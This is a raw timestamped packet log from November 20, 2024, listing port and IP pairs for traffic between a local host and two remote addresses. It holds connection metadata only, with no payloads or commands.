Nov 20, 2024 01:18:38.340075970 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340090990 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340106964 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340110064 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340141058 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340234995 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340251923 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340266943 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340287924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340289116 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340301991 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340318918 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340326071 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340356112 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340390921 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340408087 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340424061 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340439081 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340451956 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340456009 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340471029 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340480089 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340507030 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340512991 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340528011 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340543032 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340557098 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340559959 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340591908 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340620995 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340635061 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340647936 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340662956 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340670109 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340678930 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340693951 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340701103 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340709925 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340730906 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340734005 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340747118 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340755939 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340764999 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340792894 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340792894 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340807915 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340831995 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340842009 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340847015 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340862036 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340878010 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340910912 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340928078 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340945005 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341017962 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341032982 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341048002 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341056108 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341058969 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341080904 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341095924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341095924 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341119051 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341121912 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341135979 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341151953 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341160059 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341166973 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341186047 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341193914 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341196060 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341202021 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341222048 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341236115 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341238022 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341273069 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341288090 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341301918 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341310024 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341330051 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341335058 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341403008 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341418028 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341439009 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341439962 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341454029 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341479063 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341495037 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341511965 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341533899 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341588020 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341603041 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341617107 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341624975 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341633081 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341654062 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341723919 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341739893 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341756105 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341763020 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341772079 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341785908 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341790915 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341809034 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341815948 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.341825962 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.341861963 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.346369028 CET	49812	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.346379995 CET	443	49812	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.350691080 CET	49812	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.350697994 CET	443	49812	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.356259108 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.363729954 CET	49813	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.363742113 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.364528894 CET	49813	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.364536047 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.365112066 CET	49810	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.365132093 CET	443	49810	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.365144968 CET	49810	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.365150928 CET	443	49810	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.366960049 CET	49811	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.366978884 CET	443	49811	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.367039919 CET	49811	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.367048979 CET	443	49811	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.368644953 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.386111975 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386137962 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386152983 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386200905 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386203051 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.386217117 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386231899 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386244059 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.386248112 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386276007 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.386348963 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386380911 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386394978 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.386396885 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386413097 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386428118 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386435986 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.386441946 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386456966 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386467934 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.386473894 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386497021 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.386512995 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386528015 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386555910 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.386610985 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386626005 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386641026 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386653900 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.386655092 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386670113 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386681080 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.386686087 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386703014 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386710882 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.386718035 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386734009 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386743069 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.386749029 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386764050 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.386776924 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.386804104 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.407011986 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.407030106 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.407046080 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.407063007 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.407078028 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.407093048 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.407140017 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.407215118 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.407905102 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.426723003 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.426739931 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.426753998 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.426774025 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.426794052 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.426815033 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.426829100 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.426845074 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.426860094 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.426872969 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.426898956 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427057981 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427082062 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427098989 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427120924 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427123070 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427138090 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427151918 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427166939 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427169085 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427184105 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427187920 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427197933 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427212954 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427227020 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427231073 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427246094 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427248955 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427269936 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427283049 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427284956 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427299976 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427323103 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427330971 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427337885 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427350044 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427361012 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427377939 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427385092 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427402020 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427416086 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427431107 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427449942 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427455902 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427469969 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427479029 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427485943 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427503109 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427506924 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427516937 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427534103 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427539110 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427548885 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427563906 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427568913 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427586079 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427598953 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427609921 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427623987 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427639961 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427645922 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427654982 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427670002 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427676916 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427685976 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427706957 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427711010 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427726030 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427742004 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427747965 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427778959 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427818060 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427833080 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427848101 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427862883 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427865028 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427886963 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427897930 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427901983 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427917004 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427932024 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427937984 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427949905 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427963972 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427972078 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.427978992 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.427999020 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.428002119 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428018093 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428033113 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428042889 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.428056955 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428072929 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428073883 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.428087950 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428103924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428118944 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428127050 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.428133965 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428148985 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.428175926 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.428241968 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428256989 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428280115 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428296089 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.428385973 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428400993 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428414106 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428428888 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.428430080 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428446054 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428461075 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.428461075 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428478003 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.428488016 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.428520918 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.432104111 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.432117939 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.432167053 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.432203054 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.432218075 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.432234049 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.432250977 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.432257891 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.432275057 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.432286024 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.432290077 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.432305098 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.432321072 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.432324886 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.432399035 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.449084044 CET	443	49812	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.449234009 CET	443	49812	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.449292898 CET	49812	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.459790945 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.459810972 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.459868908 CET	49813	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.459883928 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.460881948 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.460928917 CET	49813	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.472935915 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.472997904 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473016024 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473031044 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473047018 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473057032 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.473064899 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473076105 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.473119020 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.473120928 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473129988 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473140955 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473185062 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.473210096 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473226070 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473241091 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473249912 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.473263025 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473279953 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473289013 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.473294020 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473309040 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473315001 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.473335028 CET	80	49807	185.215.113.16	192.168.2.5
